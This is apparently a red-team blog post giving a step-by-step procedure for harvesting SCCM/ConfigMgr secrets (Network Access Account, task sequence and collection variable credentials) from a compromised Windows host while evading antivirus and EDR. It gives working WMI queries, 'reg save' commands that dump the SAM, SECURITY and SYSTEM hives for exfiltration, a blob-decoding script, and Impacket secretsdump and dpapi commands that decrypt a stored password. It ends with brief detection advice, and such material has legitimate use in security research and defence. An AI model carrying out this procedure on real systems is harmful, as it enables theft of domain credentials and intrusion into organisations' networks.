Manual Configuration Manager (SCCM) credential harvesting

Oct 05, 2025 in HACKING • WINDOWS
sccm dpapi
8 min read

Configuration Manager

Configuration Manager, ConfigMgr or MECM (previously known as System Center Configuration Manager or SCCM) is a system manager developed by Microsoft. It helps system administrators distributing software on Windows hosts in Active Directory environments. It has been researched and abused in the past by several security individuals and firms such as Matt Nelson, SpecterOPS or Synacktiv.

As a result, several abuse tools have been developed throughout the years, such as:

Part of this research revealed that Configuration Manager clients store secrets on disk. In particular so-called “secret policies”.

Configuration Manager credential harvesting

This article is a corner-case of how to perform Configuration Manager credential harvesting. It can be applied in cases where having administrative access to a host is granted but no easy way of disabling the antivirus/EDR is possible. So no use of the previously mentioned tools on the compromised host is possible because it gets blocked.

Another scenario could be that being detected via a signature on an existing tool on that host or performing network activity to Configuration Manager servers is not an option in your attack steps (eg: opsec for redteam operations).

One solution I came across to circumvent that limitation is to manually retrieve needed credentials and decode them offline.

A Synacktiv article by Quentin Roland mentions and partially explains how to retrieve the needed secret policies by using a compromised host and manually extract them along with secrets of the machine. However, the needed steps are not so obvious. This article aims at explaining step by step how to do that.

What do we need?

Configuration Manager secret policies

What is meant by “Configuration Manager secrets policies” consist of different things:

Network Access Accounts (NAAs)
Task sequences
Collection variables

Detail of what is contained in each of these can be found on hacker recipies:

Network Access Accounts (NAAs): NAAs are manually created domain accounts used to retrieve data from the SCCM Distribution Point (DP) if the machine cannot use its machine account. Typically, when a machine has not yet been registered in the domain. NAA does not need to be privileged on the domain, but it can happen that administrators give too many privileges to these accounts. NAA credentials are distributed via secret policies.

Task sequences: Task sequences are automated workflows that can be deployed by administrators on client devices and that will execute a series of steps. Various task sequence steps require or give the possibility to the administrator to provide domain credentials in order to execute them. They are distributed via secret policies.

Collection variables: In SCCM, it is possible to associate variables to specific collections of devices. These variables can be used to customize deployments, scripts, or configurations for all members of the collection. They may contain credentials and are distributed via secret policies.

What is important for us is that these secrets are protected using Microsoft’s Data Protection API (DPAPI).

DPAPI keys

We need three things to perform an offline decryption of the Configuration Manager secret policies:

The secret policies themselves, containing the DPAPI encrypted blobs
The associated DPAPI master keys
The associated DPAPI machine and user keys

That is because the blobs are encrypted using the master keys which are, in turn, encrypted using the root machine or user key:

decryption steps

On-target steps

We try to minimize needed steps on the target host as it could trigger Defender or other security-related software.

Obtaining Configuration Manager secret policies' blobs

An easy way of getting the secret policies' blobs is via WMI on the compromised host:

PS> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
PS> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class
CCM_TaskSequence
PS> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class
CCM_CollectionVariable

But the local CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA also contains the blobs as found by Duane Michael. The policies' blobs are tagged between <PolicySecret Version="1"><![CDATA[...]]</PolicySecret> blocks. OBJECTS.DATA can be searched for strings between these tags.

Below is an example of a WMI retrieval for a NAA:

PS> Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
__GENUS               : 2
__CLASS               : CCM_NetworkAccessAccount
__SUPERCLASS          : CCM_ComponentClientConfig
__DYNASTY             : CCM_Policy
__RELPATH             : CCM_NetworkAccessAccount.SiteSettingsKey=1
__PROPERTY_COUNT      : 8
__DERIVATION          : {CCM_ComponentClientConfig, CCM_Policy}
__SERVER              : MYHOST
__NAMESPACE           : ROOT\ccm\policy\Machine\ActualConfig
__PATH                : \\MYHOST\ROOT\ccm\policy\Machine\ActualConfig:CCM_NetworkAccessAccount.SiteSettingsKey=1
ComponentName         :
Enabled               :
NetworkAccessPassword : <PolicySecret Version="1"><![CDATA[0601000001000000D08...D8]]>
                        </PolicySecret>
NetworkAccessUsername : <PolicySecret Version="1"><![CDATA[1601000001000000D08...31]]></PolicySecret>

Notice the blobs for the fields NetworkAccessPassword and NetworkAccessUsername. These blobs needs to be extracted from the tags and converted, but we will do that offline later on.

Obtaining DPAPI master keys

The machine-wide master keys are located at C:\Windows\System32\Microsoft\Protect\S-1-5-18\User and C:\Windows\System32\Microsoft\Protect\S-1-5-18 (S-1-5-18 is the SID for the SYSTEM account).

A simple approach is to copy and export both folders with all keys inside them.

Obtaining `DPAPI_SYSTEM` keys

The DPAPI_SYSTEM keys are stored in LSA secrets. Both mimikatz or SharpDPAPI are able to extract these keys on a live system but in our case, it is not a possibility. However, as LSA secrets are stored in the SYSTEM registry hive, we can backup and exfiltrate it for later offline extraction:

PS> reg save HKLM\SAM C:\Users\public\SAM.bak
PS> reg save HKLM\SECURITY C:\Users\public\SECURITY.bak
PS> reg save HKLM\SYSTEM C:\Users\public\SYSTEM.bak

While this action is not blocked by Microsoft Defender, it will likely trigger detection by a SOC. It has to be taken into account for opsec.

Offline steps

Once the above steps have been completed, no other action is needed on the target to retrieve the secrets, everything else can be done offline which lower the traces available for detection teams to understand what happened.

Intensive use of Impacket tools are made in the next steps but any DPAPI-capable software can replace it.

Extract `DPAPI_SYSTEM` keys

We use Impacket’s secretsdump to extract the DPAPI_SYSTEM keys:

$ impacket-secretsdump -sam SAM.bak -security SECURITY.bak -system SYSTEM.bak LOCAL

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
...
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xe1...c7
dpapi_userkey:0x92...23
...

We keep these keys in a notepad for later use.

Convert the policies' blobs

The secret policies blobs are encoded in hexadecimal. Moreover, the first 4 bytes of the decoded blob are to be removed before trying decryption as it represents the size of the blob’s data. This is referenced in the SharpDPAPI implementation of SCCM decryption and is due to the fact that DPAPI blobs follow a _CRYPTOAPI_BLOB structure:

typedef struct _CRYPTOAPI_BLOB {
  DWORD cbData;
  BYTE  *pbData;
} CRYPT_INTEGER_BLOB, ...;

We thus need to get rid of the first 8 hexadecimal characters (4 bytes) of the payload before decoding it.

A simple Python script can automatize that step:

#!/usr/bin/python

import sys

blob = sys.argv[1]
outpath = sys.argv[2]

f = open(outpath, "wb")
arr = bytes.fromhex(blob[8:])
f.write(arr)
f.close()

As an example, we use it on our previously fetched NAA password:

$ python3 decode.py 0601000001000000D08...D8 naa_pwd

Identify needed DPAPI masterkeys

We then need to identify with which masterkey secret policies blobs were encrypted with.

Impacket’s dpapi module can show us the GUID of such key for our NAA password:

$ impacket-dpapi unprotect -file naa_pwd 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[BLOB]
Version          :        1 (1)
Guid Credential  : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion :        1 (1)
Guid MasterKey   : 413D974D-9CEC-4185-96D5-20A75D9AB73D
Flags            :        0 ()
Description      : 
CryptAlgo        : 00006610 (26128) (CALG_AES_256)
Salt             : b'd6...24'
HMacKey          : b''
HashAlgo         : 0000800e (32782) (CALG_SHA_512)
HMac             : b'd4...31'
Data             : b'67...3b'
Sign             : b'5a...31'

Cannot decrypt (specify -key or -sid whenever applicable)

It cannot decrypt it for now (no masterkey was given), hence the error message in the output.

Decrypt masterkeys

We now come back to our exported folder of machine-wide master keys and find one with the previously found GUID:

$ find exported_masterkeys/ -type f -iname "413D974D-9CEC-4185-96D5-20A75D9AB73D"
./exported_masterkeys/S-1-5-18/User/413d974d-9cec-4185-96d5-20a75d9ab73d

That masterkey is located in the User/ subfolder, so the machine-wide key to use is the “user” one:

impacket-dpapi masterkey -file ./exported_masterkeys/S-1-5-18/User/413d974d-9cec-4185-96d5-20a75d9ab73d -key 0x92...23
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 413d974d-9cec-4185-96d5-20a75d9ab73d
Flags       :        6 (6)
Policy      :        0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000014 (20)
DomainKeyLen: 00000000 (0)

Decrypted key with key provided
Decrypted key: 0x9a...17

Decrypt secret policies' blobs

The previously decrypted masterkey can now be added to the first command we used to identify which masterkey was the NAA blob encrypted with in order to decrypt the blob:

$ impacket-dpapi unprotect -file naa_pwd -key 0x9a...17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Successfully decrypted data
 0000   50 00 40 00 73 00 73 00  77 00 30 00 72 00 64 00   P.@.s.s.w.0.r.d.

Same steps can be repeated for the NAA username and every secret policy block found in either tasks sequences or collection variables.

Conclusion

While this method is not perfect, it limits the actions a potential attacker needs to perform on a compromised system for Configuration Manager credential harvesting. Detection can still be done on several steps:

backing up sensitive registry hives is a well-known attacker technique
copying the machine-wide DPAPI folders is quite unusual and should be watched for
requesting the Configuration Manager secret policies via WMI could also be considered suspicious thus it would likely raise more false positives and does not detect an attacker looking for the blobs in the OBJECTS.DATA file